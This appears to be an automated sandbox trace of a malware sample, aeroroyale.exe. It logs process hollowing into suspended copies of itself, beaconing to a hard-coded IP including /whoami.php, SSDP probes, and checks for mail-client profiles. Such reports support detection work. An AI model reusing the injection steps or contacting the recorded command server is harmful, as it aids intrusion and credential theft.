Module Get Filename process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe, size = 260 True 1
Fn
Process Create process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp", os_pid = 0xd40, creation_flags = CREATE_SUSPENDED, CREATE_UNICODE_ENVIRONMENT, show_window = SW_HIDE True 1
Fn
Memory Get Info "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp", address = 0x400000, allocation_type = MEM_RESET_UNDO, protection_out = PAGE_READONLY, size_out = 4096 True 1
Fn
Memory Protect process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp", address = 0x400000, protection = PAGE_EXECUTE_READWRITE, size = 114688 True 1
Fn
Thread Get Context process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, os_tid = 0xd2c True 1
Fn
Memory Write process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp", address = 0x400000, size = 114688 True 1
Fn
Data
Memory Write process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp", address = 0x7ffdf008, size = 4 True 1
Fn
Data
Thread Set Context process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, os_tid = 0xd2c True 1
Fn
Thread Resume process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, os_tid = 0xd2c True 1
Fn
Process Terminate exit_code = 0 False 1
Fn
File Create filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, type = size True 1
Fn
Module Create Mapping module_name = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, protection = PAGE_READONLY, maximum_size = 0 True 1
Fn
Module Map C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, desired_access = FILE_MAP_READ True 1
Fn
Module Unmap process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe True 1
Fn
Inet Open Session user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E), access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Inet Open Connection protocol = HTTP, server_name = 74.141.205.116, server_port = 443 True 1
Fn
Inet Open HTTP Request http_verb = POST, http_version = HTTP 1.1, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Inet Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 74.141.205.116 True 1
Fn
Data
Inet Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Inet Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_CONTENT_LENGTH, size_out = 4 True 1
Fn
Data
Inet Read Response size = 148, size_out = 148 True 1
Fn
Data
Inet Close Session - True 1
Fn
Inet Close Session - True 1
Fn
Inet Close Session - True 1
Fn
File Delete filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp True 1
Fn
Thread 0xd30
49 30
»
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2018-08-01 10:20:18 (UTC) True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77760000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FlsAlloc, address_out = 0x777b418d True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FlsFree, address_out = 0x777b1f61 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FlsGetValue, address_out = 0x777b1e16 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FlsSetValue, address_out = 0x777b76e6 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x777b3879 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CreateEventExW, address_out = 0x777624d8 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x77792111 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x777a2510 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x7779b009 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x778689be True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x7785c02a True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x7785c0d2 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x77793f78 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77868bfb True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x7785b567 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77885998 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77852251 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x778528f6 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x77792004 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x777e9aa9 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x0 False 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x777ef3cf True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CompareStringEx, address_out = 0x777bebc6 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetDateFormatEx, address_out = 0x777ff29f True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x777953a5 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetTimeFormatEx, address_out = 0x777ff21a True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x777ef70b True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = IsValidLocaleName, address_out = 0x777ef71b True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = LCMapStringEx, address_out = 0x777ef72b True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetTickCount64, address_out = 0x7779eb4e True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0 False 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0 False 1
Fn
Environment Get Environment String - True 1
Fn
Data
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Open filename = STD_ERROR_HANDLE True 1
Fn
Module Get Filename process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe, size = 260 True 1
Fn
Mutex Create mutex_name = Global\Nx3FADD397 True 1
Fn
Module Load module_name = advapi32.dll, base_address = 0x75c90000 True 1
Fn
Module Load module_name = crypt32.dll, base_address = 0x75a90000 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x760f0000 True 1
Fn
Module Load module_name = urlmon.dll, base_address = 0x75e90000 True 1
Fn
Module Load module_name = wininet.dll, base_address = 0x77660000 True 1
Fn
Module Load module_name = ws2_32.dll, base_address = 0x77a30000 True 1
Fn
Inet Open Session user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E), access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Inet Open Connection protocol = http, server_name = 74.141.205.116, server_port = 80 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /whoami.php, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Inet Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://74.141.205.116:443/whoami.php True 1
Fn
Inet Read Response size = 64, size_out = 13 True 1
Fn
Data
Inet Close Session - True 1
Fn
Inet Close Session - True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Socket Create protocol = IPPROTO_UDP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Bind protocol = IPPROTO_UDP, local_address = 192.168.0.220, local_port = 63296, hint = OS assigned a local port from the dynamic client port range True 1
Fn
DNS Resolve Name host = 239.255.255.250, address_out = 239.255.255.250, service = 1900 True 1
Fn
Socket Send remote_address = 239.255.255.250, remote_port = 1900, flags = NO_FLAG_SET, size = 137, size_out = 137 True 1
Fn
Data
DNS Resolve Name host = 239.255.255.250, address_out = 239.255.255.250, service = 1900 True 1
Fn
Socket Send remote_address = 239.255.255.250, remote_port = 1900, flags = NO_FLAG_SET, size = 132, size_out = 132 True 1
Fn
Data
DNS Resolve Name host = 239.255.255.250, address_out = 239.255.255.250, service = 1900 True 1
Fn
Socket Send remote_address = 239.255.255.250, remote_port = 1900, flags = NO_FLAG_SET, size = 133, size_out = 133 True 1
Fn
Data
DNS Resolve Name host = 239.255.255.250, address_out = 239.255.255.250, service = 1900 True 1
Fn
Socket Send remote_address = 239.255.255.250, remote_port = 1900, flags = NO_FLAG_SET, size = 101, size_out = 101 True 1
Fn
Data
Socket Close type = SOCK_DGRAM True 1
Fn
Inet Open Session user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E), access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Inet Open Connection protocol = HTTP, server_name = 74.141.205.116, server_port = 443 True 1
Fn
Inet Open HTTP Request http_verb = POST, http_version = HTTP 1.1, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Inet Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 74.141.205.116 True 1
Fn
Data
Inet Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Inet Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_CONTENT_LENGTH, size_out = 4 True 1
Fn
Data
Inet Read Response size = 148, size_out = 148 True 1
Fn
Data
Inet Close Session - True 1
Fn
Inet Close Session - True 1
Fn
Inet Close Session - True 1
Fn
Mutex Release mutex_name = Global\Nx3FADD397 True 1
Fn
Thread 0xd34
22 0
»
Category Operation Information Success Count Logfile
Module Load module_name = advapi32.dll, base_address = 0x75c90000 True 1
Fn
Module Load module_name = crypt32.dll, base_address = 0x75a90000 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x760f0000 True 1
Fn
Module Load module_name = urlmon.dll, base_address = 0x75e90000 True 1
Fn
Module Load module_name = userenv.dll, base_address = 0x75040000 True 1
Fn
Module Load module_name = wininet.dll, base_address = 0x77660000 True 1
Fn
Module Load module_name = wtsapi32.dll, base_address = 0x74370000 True 1
Fn
File Create Temp File filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp, path = C:\Users\BGC6U8~1\AppData\Local\Temp\ True 1
Fn
File Delete filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp True 1
Fn
Module Get Filename process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe, size = 260 True 1
Fn
Process Create process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" "C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp", os_pid = 0xd48, creation_flags = CREATE_SUSPENDED, CREATE_UNICODE_ENVIRONMENT, show_window = SW_HIDE True 1
Fn
Memory Get Info "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" "C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp", address = 0x400000, allocation_type = MEM_RESET_UNDO, protection_out = PAGE_READONLY, size_out = 4096 True 1
Fn
Memory Protect process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" "C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp", address = 0x400000, protection = PAGE_EXECUTE_READWRITE, size = 102400 True 1
Fn
Thread Get Context process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, os_tid = 0xd34 True 1
Fn
Memory Write process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" "C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp", address = 0x400000, size = 102400 True 1
Fn
Data
Memory Write process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" "C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp", address = 0x7ffdc008, size = 4 True 1
Fn
Data
Thread Set Context process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, os_tid = 0xd34 True 1
Fn
Thread Resume process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, os_tid = 0xd34 True 1
Fn
Process Terminate exit_code = 0 False 1
Fn
File Create filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp, type = size True 1
Fn
File Delete filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp True 1
Fn
Thread 0xd38
24 0
»
Category Operation Information Success Count Logfile
Module Load module_name = advapi32.dll, base_address = 0x75c90000 True 1
Fn
Module Load module_name = crypt32.dll, base_address = 0x75a90000 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x760f0000 True 1
Fn
Module Load module_name = urlmon.dll, base_address = 0x75e90000 True 1
Fn
Module Load module_name = userenv.dll, base_address = 0x75040000 True 1
Fn
Module Load module_name = wininet.dll, base_address = 0x77660000 True 1
Fn
Module Load module_name = wtsapi32.dll, base_address = 0x74370000 True 1
Fn
File Create Temp File filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp, path = C:\Users\BGC6U8~1\AppData\Local\Temp\ True 1
Fn
File Delete filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp True 1
Fn
Module Get Filename process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe, size = 260 True 1
Fn
Process Create process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp", os_pid = 0xd50, creation_flags = CREATE_SUSPENDED, CREATE_UNICODE_ENVIRONMENT, show_window = SW_HIDE True 1
Fn
Memory Get Info "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp", address = 0x400000, allocation_type = MEM_RESET_UNDO, protection_out = PAGE_READONLY, size_out = 4096 True 1
Fn
Memory Protect process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp", address = 0x400000, protection = PAGE_EXECUTE_READWRITE, size = 372736 False 1
Fn
Module Unmap process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp" True 1
Fn
Memory Allocate process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp", address = 0x400000, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 372736 True 1
Fn
Thread Get Context process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, os_tid = 0xd38 True 1
Fn
Memory Write process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp", address = 0x400000, size = 372736 True 1
Fn
Data
Memory Write process_name = "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp", address = 0x7ffda008, size = 4 True 1
Fn
Data
Thread Set Context process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, os_tid = 0xd38 True 1
Fn
Thread Resume process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, os_tid = 0xd38 True 1
Fn
Process Terminate exit_code = 0 False 1
Fn
File Create filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp, type = size True 1
Fn
File Delete filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp True 1
Fn
Thread 0xd3c
9 0
»
Category Operation Information Success Count Logfile
Module Load module_name = advapi32.dll, base_address = 0x75c90000 True 1
Fn
Module Load module_name = crypt32.dll, base_address = 0x75a90000 True 1
Fn
Module Load module_name = mpr.dll, base_address = 0x72750000 True 1
Fn
Module Load module_name = netapi32.dll, base_address = 0x74270000 True 1
Fn
Module Load module_name = SAMCLI.DLL, base_address = 0x74240000 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x760f0000 True 1
Fn
Module Load module_name = wtsapi32.dll, base_address = 0x74370000 True 1
Fn
System Get Computer Name result_out = F71GWAT True 1
Fn
Process #9: aeroroyale.exe
204 0
»
Information Value
ID #9
File Name c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe
Command Line "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp"
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:03:27, Reason: Child Process
Unmonitor End Time: 00:03:37, Reason: Self Terminated
Monitor Duration 00:00:10
OS Process Information
»
Information Value
PID 0xd40
Parent PID 0xc08 (c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe)
Is Created or Modified Executable True
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x D44
0x DA0
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
private_0x0000000000020000 0x00020000 0x00020fff Private Memory rw True False False -
private_0x0000000000030000 0x00030000 0x0012ffff Private Memory rw True False False -
pagefile_0x0000000000130000 0x00130000 0x00133fff Pagefile Backed Memory r True False False -
private_0x0000000000140000 0x00140000 0x00140fff Private Memory rw True False False -
pagefile_0x0000000000150000 0x00150000 0x00150fff Pagefile Backed Memory rw True False False -
private_0x0000000000160000 0x00160000 0x0025ffff Private Memory rw True False False -
locale.nls 0x00260000 0x002c6fff Memory Mapped File r False False False -
private_0x0000000000340000 0x00340000 0x0034ffff Private Memory rw True False False -
private_0x00000000003f0000 0x003f0000 0x003fffff Private Memory rw True False False -
727.exe 0x00400000 0x00426fff Memory Mapped File rwx True False False -
pagefile_0x0000000000430000 0x00430000 0x004f7fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000500000 0x00500000 0x00600fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000610000 0x00610000 0x0120ffff Pagefile Backed Memory r True False False -
private_0x0000000001210000 0x01210000 0x0130ffff Private Memory rw True False False -
sortdefault.nls 0x01310000 0x015defff Memory Mapped File r False False False -
private_0x00000000015e0000 0x015e0000 0x016dffff Private Memory rw True False False -
pstorec.dll 0x66b10000 0x66b1cfff Memory Mapped File rwx False False False -
comctl32.dll 0x66b50000 0x66bd3fff Memory Mapped File rwx False False False -
atl.dll 0x73d80000 0x73d93fff Memory Mapped File rwx False False False -
sspicli.dll 0x758c0000 0x758dafff Memory Mapped File rwx False False False -
msasn1.dll 0x75a00000 0x75a0bfff Memory Mapped File rwx False False False -
kernelbase.dll 0x75a10000 0x75a59fff Memory Mapped File rwx False False False -
crypt32.dll 0x75a90000 0x75bacfff Memory Mapped File rwx False False False -
advapi32.dll 0x75c90000 0x75d2ffff Memory Mapped File rwx False False False -
msctf.dll 0x75d30000 0x75dfbfff Memory Mapped File rwx False False False -
sechost.dll 0x75fd0000 0x75fe8fff Memory Mapped File rwx False False False -
msvcrt.dll 0x76040000 0x760ebfff Memory Mapped File rwx False False False -
shell32.dll 0x760f0000 0x76d39fff Memory Mapped File rwx False False False -
gdi32.dll 0x76d40000 0x76d8dfff Memory Mapped File rwx False False False -
user32.dll 0x77170000 0x77238fff Memory Mapped File rwx False False False -
usp10.dll 0x77240000 0x772dcfff Memory Mapped File rwx False False False -
comdlg32.dll 0x772e0000 0x7735afff Memory Mapped File rwx False False False -
rpcrt4.dll 0x773f0000 0x77490fff Memory Mapped File rwx False False False -
shlwapi.dll 0x774a0000 0x774f6fff Memory Mapped File rwx False False False -
ole32.dll 0x77500000 0x7765bfff Memory Mapped File rwx False False False -
kernel32.dll 0x77760000 0x77833fff Memory Mapped File rwx False False False -
ntdll.dll 0x77840000 0x7797bfff Memory Mapped File rwx False False False -
imm32.dll 0x779a0000 0x779befff Memory Mapped File rwx False False False -
lpk.dll 0x77a20000 0x77a29fff Memory Mapped File rwx False False False -
apisetschema.dll 0x77a80000 0x77a80fff Memory Mapped File rwx False False False -
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory r True False False -
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory r True False False -
private_0x000000007ffdd000 0x7ffdd000 0x7ffddfff Private Memory rw True False False -
private_0x000000007ffde000 0x7ffde000 0x7ffdefff Private Memory rw True False False -
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory rw True False False -
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #7: c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe 0xd2c address = 0x400000, size = 114688 True 1
Fn
Data
Modify Memory #7: c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe 0xd2c address = 0x7ffdf008, size = 4 True 1
Fn
Data
Modify Control Flow #7: c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe 0xd2c os_tid = 0xd44, address = 0x0 True 1
Fn
Threads
Thread 0xd44
204 0
»
Category Operation Information Success Count Logfile
Module Get Handle module_name = c:\users\bgc6u8~1\appdata\local\temp\727.exe, base_address = 0x400000 True 2
Fn
Module Load module_name = comctl32.dll, base_address = 0x66b50000 True 1
Fn
Module Get Address module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll, function = InitCommonControlsEx, address_out = 0x66b56be6 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x760f0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\shell32.dll, function = SHGetSpecialFolderPathA, address_out = 0x7633fb26 True 1
Fn
Module Get Filename process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe, size = 260 True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale_lng.ini, type = file_attributes False 1
Fn
System Get Info type = Operating System True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Profiles, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Thunderbird\Profiles, type = file_attributes False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Qualcomm\Eudora\CommandLine False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Classes\Software\Qualcomm\Eudora\CommandLine\current False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Mozilla\Mozilla Thunderbird False 1
Fn
File Get Info filename = C:\Program Files\Mozilla Thunderbird, type = file_attributes False 1
Fn
Module Get Filename process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe, size = 260 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = ShowGridLines, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = SaveFilterIndex, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = AddExportHeaderLine, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = MarkOddEvenRows, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = WinPos False 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = Columns False 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = Sort, default_value = 0 True 1
Fn
